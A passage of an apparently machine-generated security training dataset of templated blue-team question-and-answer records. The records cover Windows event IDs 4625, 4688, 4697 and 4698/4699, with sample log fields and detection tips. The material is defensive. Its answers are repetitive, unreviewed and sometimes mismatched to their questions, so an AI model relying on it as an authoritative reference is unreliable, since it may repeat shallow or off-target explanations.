4625 - Failed Logon with an example.", "output": "Example of Event ID 4625 - Failed Logon:\n\n```\nSubStatus: 0xC000006A (bad password)\nTargetUserName: admin\nIpAddress: 10.0.0.50\nFailureReason: Unknown user name or bad password\n```\n\nInterpretation: SubStatus 0xC000006A=bad password, 0xC0000064=user doesn't exist, 0xC0000072=disabled account, 0xC0000234=locked out", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4625---failed-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015383Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015432Z", "updated_at": "2025-12-18T00:11:32.015432Z"} +{"id": "trtp-34d44955b7ef", "instruction": "What are the use cases for Windows Event Log?", "output": "Use cases for Windows Event Log:\n\n- Detect brute force attacks\n- Identify password spraying\n- Monitor account lockouts\n- Track enumeration attempts\n\nEvent 4625 logs failed authentication attempts including failure reason, username, and source. Essential for detecting brute force attacks, password spraying, and credential stuffing.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4625---failed-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015383Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015444Z", "updated_at": "2025-12-18T00:11:32.015444Z"} +{"id": "trtp-a4af7911cb4e", "instruction": "How do I read Windows Event Log output?", "output": "Interpreting Windows Event Log output:\n\nSubStatus 0xC000006A=bad password, 0xC0000064=user doesn't exist, 0xC0000072=disabled account, 0xC0000234=locked out\n\nExample output:\n```\nSubStatus: 0xC000006A (bad password)\nTargetUserName: admin\nIpAddress: 10.0.0.50\nFailureReason: Unknown user name or bad password\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4625---failed-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015383Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015455Z", "updated_at": "2025-12-18T00:11:32.015455Z"} +{"id": "trtp-1a3d65431979", "instruction": "What best practices should I follow when using Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- Many failures then 4624 = successful brute force\n- Different users same source = password spray\n- Watch for 0xC0000064 enumeration\n\nUseful for: Detect brute force attacks, Identify password spraying, Monitor account lockouts", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4625---failed-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015383Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015468Z", "updated_at": "2025-12-18T00:11:32.015468Z"} +{"id": "trtp-94ee84e812e8", "instruction": "What indicators does Windows Event Log help identify?", "output": "Using Windows Event Log for threat detection:\n\nEvent 4625 logs failed authentication attempts including failure reason, username, and source. Essential for detecting brute force attacks, password spraying, and credential stuffing.\n\nExample:\n```\nSubStatus: 0xC000006A (bad password)\nTargetUserName: admin\nIpAddress: 10.0.0.50\nFailureReason: Unknown user name or bad password\n```\n\nTips:\n- Many failures then 4624 = successful brute force\n- Different users same source = password spray", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4625---failed-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015383Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015491Z", "updated_at": "2025-12-18T00:11:32.015491Z"} +{"id": "trtp-4bc65cfd30c1", "instruction": "What artifacts does Windows Event Log analyze?", "output": "Forensic analysis with Windows Event Log:\n\nEvent 4625 logs failed authentication attempts including failure reason, username, and source. Essential for detecting brute force attacks, password spraying, and credential stuffing.\n\nForensic applications:\n- Detect brute force attacks\n- Identify password spraying\n- Monitor account lockouts\n\nWhat to look for: SubStatus 0xC000006A=bad password, 0xC0000064=user doesn't exist, 0xC0000072=disabled account, 0xC0000234=locked out", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4625---failed-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015383Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015504Z", "updated_at": "2025-12-18T00:11:32.015504Z"} +{"id": "trtp-7dda078fa124", "instruction": "What's the process for analyzing data with Windows Event Log?", "output": "Workflow for Event ID 4625 - Failed Logon:\n\n1. Understand the context: Event 4625 logs failed authentication attempts including failure reason, username, and source. Essential for detecting brute force attacks, password spraying, and credential stuffing.\n\n2. Apply the tool:\n```\nSubStatus: 0xC000006A (bad password)\nTargetUserName: admin\nIpAddress: 10.0.0.50\nFailureReason: Unknown user name or bad password\n```\n\n3. Common scenarios: Detect brute force attacks, Identify password spraying, Monitor account lockouts\n\n4. Best practices:\n - Many failures then 4624 = successful brute force\n - Different users same source = password spray", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4625---failed-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015383Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015520Z", "updated_at": "2025-12-18T00:11:32.015520Z"} +{"id": "trtp-93a98b31836d", "instruction": "What makes Windows Event Log useful for this task?", "output": "Advantages of Windows Event Log:\n\nEvent 4625 logs failed authentication attempts including failure reason, username, and source. Essential for detecting brute force attacks, password spraying, and credential stuffing.\n\nBest suited for:\n- Detect brute force attacks\n- Identify password spraying\n- Monitor account lockouts\n- Track enumeration attempts\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4625---failed-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015383Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015534Z", "updated_at": "2025-12-18T00:11:32.015534Z"} +{"id": "trtp-6abe6d929456", "instruction": "How do I use Windows Event Log alongside other tools in my toolkit?", "output": "Integration points for Windows Event Log:\n\nEvent 4625 logs failed authentication attempts including failure reason, username, and source. Essential for detecting brute force attacks, password spraying, and credential stuffing.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4625---failed-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015383Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015548Z", "updated_at": "2025-12-18T00:11:32.015548Z"} +{"id": "trtp-95911db1b071", "instruction": "What is Windows Event Log and how is it used in security?", "output": "Event ID 4688 - Process Creation\n\nEvent 4688 logs new process creation when audit policy is enabled. Requires enabling 'Audit Process Creation' and optionally 'Include command line'. Alternative to Sysmon Event 1.\n\nPlatform: windows\n\nCommon uses:\n- Track command execution\n- Detect malicious processes\n- Monitor admin activity\n- Identify LOLBins", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4688---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015732Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015754Z", "updated_at": "2025-12-18T00:11:32.015754Z"} +{"id": "trtp-13c6736800ec", "instruction": "What command or query syntax does Windows Event Log use?", "output": "Syntax for Windows Event Log:\n\nEventID=4688\n\nEvent 4688 logs new process creation when audit policy is enabled. Requires enabling 'Audit Process Creation' and optionally 'Include command line'. Alternative to Sysmon Event 1.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4688---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015732Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015768Z", "updated_at": "2025-12-18T00:11:32.015768Z"} +{"id": "trtp-4456b80cdc35", "instruction": "Show me an example of Windows Event Log in action.", "output": "Example of Event ID 4688 - Process Creation:\n\n```\nNewProcessName: C:\\Windows\\System32\\cmd.exe\nCommandLine: cmd.exe /c whoami\nParentProcessName: C:\\Windows\\System32\\powershell.exe\nSubjectUserName: administrator\n```\n\nInterpretation: NewProcessName=executable, CommandLine=arguments, ParentProcessName=parent process, TokenElevationType=privilege level", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4688---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015732Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015780Z", "updated_at": "2025-12-18T00:11:32.015780Z"} +{"id": "trtp-443a9abc97b9", "instruction": "In what scenarios is Windows Event Log useful?", "output": "Use cases for Windows Event Log:\n\n- Track command execution\n- Detect malicious processes\n- Monitor admin activity\n- Identify LOLBins\n\nEvent 4688 logs new process creation when audit policy is enabled. Requires enabling 'Audit Process Creation' and optionally 'Include command line'. Alternative to Sysmon Event 1.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4688---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015732Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015792Z", "updated_at": "2025-12-18T00:11:32.015792Z"} +{"id": "trtp-19aa2a554d1f", "instruction": "How do I interpret Windows Event Log output?", "output": "Interpreting Windows Event Log output:\n\nNewProcessName=executable, CommandLine=arguments, ParentProcessName=parent process, TokenElevationType=privilege level\n\nExample output:\n```\nNewProcessName: C:\\Windows\\System32\\cmd.exe\nCommandLine: cmd.exe /c whoami\nParentProcessName: C:\\Windows\\System32\\powershell.exe\nSubjectUserName: administrator\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4688---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015732Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015802Z", "updated_at": "2025-12-18T00:11:32.015802Z"} +{"id": "trtp-b8254d3cfec8", "instruction": "What are some tips for using Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- Must enable command line logging via GPO\n- Less detail than Sysmon but built-in\n- Watch ParentProcessName for unusual chains\n\nUseful for: Track command execution, Detect malicious processes, Monitor admin activity", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4688---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015732Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015814Z", "updated_at": "2025-12-18T00:11:32.015814Z"} +{"id": "trtp-ee9ee8116a0e", "instruction": "What should I look for when using Windows Event Log for incident response?", "output": "Using Windows Event Log for threat detection:\n\nEvent 4688 logs new process creation when audit policy is enabled. Requires enabling 'Audit Process Creation' and optionally 'Include command line'. Alternative to Sysmon Event 1.\n\nExample:\n```\nNewProcessName: C:\\Windows\\System32\\cmd.exe\nCommandLine: cmd.exe /c whoami\nParentProcessName: C:\\Windows\\System32\\powershell.exe\nSubjectUserName: administrator\n```\n\nTips:\n- Must enable command line logging via GPO\n- Less detail than Sysmon but built-in", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4688---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015732Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015827Z", "updated_at": "2025-12-18T00:11:32.015827Z"} +{"id": "trtp-b6578a82e466", "instruction": "What artifacts does Windows Event Log analyze?", "output": "Forensic analysis with Windows Event Log:\n\nEvent 4688 logs new process creation when audit policy is enabled. Requires enabling 'Audit Process Creation' and optionally 'Include command line'. Alternative to Sysmon Event 1.\n\nForensic applications:\n- Track command execution\n- Detect malicious processes\n- Monitor admin activity\n\nWhat to look for: NewProcessName=executable, CommandLine=arguments, ParentProcessName=parent process, TokenElevationType=privilege level", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4688---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015732Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015838Z", "updated_at": "2025-12-18T00:11:32.015838Z"} +{"id": "trtp-e852c7b6ffe2", "instruction": "How do I incorporate Windows Event Log into my security workflow?", "output": "Workflow for Event ID 4688 - Process Creation:\n\n1. Understand the context: Event 4688 logs new process creation when audit policy is enabled. Requires enabling 'Audit Process Creation' and optionally 'Include command line'. Alternative to Sysmon Event 1.\n\n2. Apply the tool:\n```\nNewProcessName: C:\\Windows\\System32\\cmd.exe\nCommandLine: cmd.exe /c whoami\nParentProcessName: C:\\Windows\\System32\\powershell.exe\nSubjectUserName: administrator\n```\n\n3. Common scenarios: Track command execution, Detect malicious processes, Monitor admin activity\n\n4. Best practices:\n - Must enable command line logging via GPO\n - Less detail than Sysmon but built-in", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4688---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015732Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015852Z", "updated_at": "2025-12-18T00:11:32.015852Z"} +{"id": "trtp-c5f21d27f8e1", "instruction": "What are the advantages of Windows Event Log for security analysis?", "output": "Advantages of Windows Event Log:\n\nEvent 4688 logs new process creation when audit policy is enabled. Requires enabling 'Audit Process Creation' and optionally 'Include command line'. Alternative to Sysmon Event 1.\n\nBest suited for:\n- Track command execution\n- Detect malicious processes\n- Monitor admin activity\n- Identify LOLBins\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4688---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015732Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015866Z", "updated_at": "2025-12-18T00:11:32.015866Z"} +{"id": "trtp-4b85eb5860df", "instruction": "How does Windows Event Log integrate with other security tools?", "output": "Integration points for Windows Event Log:\n\nEvent 4688 logs new process creation when audit policy is enabled. Requires enabling 'Audit Process Creation' and optionally 'Include command line'. Alternative to Sysmon Event 1.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4688---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015732Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015880Z", "updated_at": "2025-12-18T00:11:32.015880Z"} +{"id": "trtp-93ca0d608106", "instruction": "How do security analysts use Windows Event Log?", "output": "Event ID 4697 - Service Installation\n\nEvent 4697 logs when a new service is installed on the system. Services are a common persistence mechanism for malware and attackers.\n\nPlatform: windows\n\nCommon uses:\n- Detect persistence via services\n- Identify malware installation\n- Monitor lateral movement tools\n- Track privilege escalation", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4697---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016080Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016101Z", "updated_at": "2025-12-18T00:11:32.016101Z"} +{"id": "trtp-1c004cceaccd", "instruction": "What is the syntax for Windows Event Log?", "output": "Syntax for Windows Event Log:\n\nEventID=4697\n\nEvent 4697 logs when a new service is installed on the system. Services are a common persistence mechanism for malware and attackers.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4697---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016080Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016115Z", "updated_at": "2025-12-18T00:11:32.016115Z"} +{"id": "trtp-4f41beab8f69", "instruction": "Show me an example of Windows Event Log in action.", "output": "Example of Event ID 4697 - Service Installation:\n\n```\nServiceName: EvilService\nServiceFileName: C:\\Windows\\Temp\\malware.exe\nServiceType: user mode service\nServiceStartType: auto start\nServiceAccount: LocalSystem\n```\n\nInterpretation: ServiceFileName is the binary path - check for unusual locations or binaries", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4697---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016080Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016126Z", "updated_at": "2025-12-18T00:11:32.016126Z"} +{"id": "trtp-580ae98691f9", "instruction": "What are the use cases for Windows Event Log?", "output": "Use cases for Windows Event Log:\n\n- Detect persistence via services\n- Identify malware installation\n- Monitor lateral movement tools\n- Track privilege escalation\n\nEvent 4697 logs when a new service is installed on the system. Services are a common persistence mechanism for malware and attackers.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4697---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016080Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016138Z", "updated_at": "2025-12-18T00:11:32.016138Z"} +{"id": "trtp-a398cb23447e", "instruction": "What do the results from Windows Event Log mean?", "output": "Interpreting Windows Event Log output:\n\nServiceFileName is the binary path - check for unusual locations or binaries\n\nExample output:\n```\nServiceName: EvilService\nServiceFileName: C:\\Windows\\Temp\\malware.exe\nServiceType: user mode service\nServiceStartType: auto start\nServiceAccount: LocalSystem\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4697---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016080Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016149Z", "updated_at": "2025-12-18T00:11:32.016149Z"} +{"id": "trtp-47a69e0c8366", "instruction": "What are some tips for using Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- LocalSystem account is high privilege\n- Watch for services in temp/user directories\n- Correlate with 7045 for more detail\n\nUseful for: Detect persistence via services, Identify malware installation, Monitor lateral movement tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4697---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016080Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016160Z", "updated_at": "2025-12-18T00:11:32.016160Z"} +{"id": "trtp-4fe14b7dc154", "instruction": "What indicators does Windows Event Log help identify?", "output": "Using Windows Event Log for threat detection:\n\nEvent 4697 logs when a new service is installed on the system. Services are a common persistence mechanism for malware and attackers.\n\nExample:\n```\nServiceName: EvilService\nServiceFileName: C:\\Windows\\Temp\\malware.exe\nServiceType: user mode service\nServiceStartType: auto start\nServiceAccount: LocalSystem\n```\n\nTips:\n- LocalSystem account is high privilege\n- Watch for services in temp/user directories", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4697---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016080Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016173Z", "updated_at": "2025-12-18T00:11:32.016173Z"} +{"id": "trtp-3c1646c71ace", "instruction": "What artifacts does Windows Event Log analyze?", "output": "Forensic analysis with Windows Event Log:\n\nEvent 4697 logs when a new service is installed on the system. Services are a common persistence mechanism for malware and attackers.\n\nForensic applications:\n- Detect persistence via services\n- Identify malware installation\n- Monitor lateral movement tools\n\nWhat to look for: ServiceFileName is the binary path - check for unusual locations or binaries", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4697---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016080Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016185Z", "updated_at": "2025-12-18T00:11:32.016185Z"} +{"id": "trtp-83475ea5a1ec", "instruction": "What's the process for analyzing data with Windows Event Log?", "output": "Workflow for Event ID 4697 - Service Installation:\n\n1. Understand the context: Event 4697 logs when a new service is installed on the system. Services are a common persistence mechanism for malware and attackers.\n\n2. Apply the tool:\n```\nServiceName: EvilService\nServiceFileName: C:\\Windows\\Temp\\malware.exe\nServiceType: user mode service\nServiceStartType: auto start\nServiceAccount: LocalSystem\n```\n\n3. Common scenarios: Detect persistence via services, Identify malware installation, Monitor lateral movement tools\n\n4. Best practices:\n - LocalSystem account is high privilege\n - Watch for services in temp/user directories", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4697---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016080Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016200Z", "updated_at": "2025-12-18T00:11:32.016200Z"} +{"id": "trtp-f25209948a92", "instruction": "What are the advantages of Windows Event Log for security analysis?", "output": "Advantages of Windows Event Log:\n\nEvent 4697 logs when a new service is installed on the system. Services are a common persistence mechanism for malware and attackers.\n\nBest suited for:\n- Detect persistence via services\n- Identify malware installation\n- Monitor lateral movement tools\n- Track privilege escalation\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4697---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016080Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016214Z", "updated_at": "2025-12-18T00:11:32.016214Z"} +{"id": "trtp-172eaa26dc8a", "instruction": "How do I use Windows Event Log alongside other tools in my toolkit?", "output": "Integration points for Windows Event Log:\n\nEvent 4697 logs when a new service is installed on the system. Services are a common persistence mechanism for malware and attackers.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4697---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016080Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016228Z", "updated_at": "2025-12-18T00:11:32.016228Z"} +{"id": "trtp-7e93b6bf59d1", "instruction": "How do security analysts use Windows Event Log?", "output": "Event ID 4698/4699 - Scheduled Task\n\nEvent 4698 logs scheduled task creation, 4699 logs deletion. Scheduled tasks are a common persistence mechanism. Task XML contains action details.\n\nPlatform: windows\n\nCommon uses:\n- Detect persistence\n- Identify lateral movement\n- Monitor backdoors\n- Track attacker activity", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4698-4699---scheduled-task", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016406Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016428Z", "updated_at": "2025-12-18T00:11:32.016428Z"} +{"id": "trtp-04e0caaef858", "instruction": "Show me the basic syntax for Windows Event Log.", "output": "Syntax for Windows Event Log:\n\nEventID=4698 OR EventID=4699\n\nEvent 4698 logs scheduled task creation, 4699 logs deletion. Scheduled tasks are a common persistence mechanism. Task XML contains action details.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4698-4699---scheduled-task", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016406Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016441Z", "updated_at": "2025-12-18T00:11:32.016441Z"} +{"id": "trtp-ae457baba67c", "instruction": "Demonstrate Event ID 4698/4699 - Scheduled Task with an example.", "output": "Example of Event ID 4698/4699 - Scheduled Task:\n\n```\nTaskName: \\EvilTask\nTaskContent: powershell.exe-enc SGVsbG8=\nSubjectUserName: SYSTEM\n```\n\nInterpretation: TaskContent contains XML with command and arguments. Parse for malicious commands.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4698-4699---scheduled-task", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016406Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016453Z", "updated_at": "2025-12-18T00:11:32.016453Z"} +{"id": "trtp-94dc4737ad3c", "instruction": "What are the use cases for Windows Event Log?", "output": "Use cases for Windows Event Log:\n\n- Detect persistence\n- Identify lateral movement\n- Monitor backdoors\n- Track attacker activity\n\nEvent 4698 logs scheduled task creation, 4699 logs deletion. Scheduled tasks are a common persistence mechanism. Task XML contains action details.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4698-4699---scheduled-task", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016406Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016465Z", "updated_at": "2025-12-18T00:11:32.016465Z"} +{"id": "trtp-128e83000cf9", "instruction": "How do I read Windows Event Log output?", "output": "Interpreting Windows Event Log output:\n\nTaskContent contains XML with command and arguments. Parse for malicious commands.\n\nExample output:\n```\nTaskName: \\EvilTask\nTaskContent: powershell.exe-enc SGVsbG8=\nSubjectUserName: SYSTEM\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4698-4699---scheduled-task", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016406Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016484Z", "updated_at": "2025-12-18T00:11:32.016484Z"} +{"id": "trtp-c487b55ed03c", "instruction": "How can I get the most out of Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- SYSTEM creating tasks is 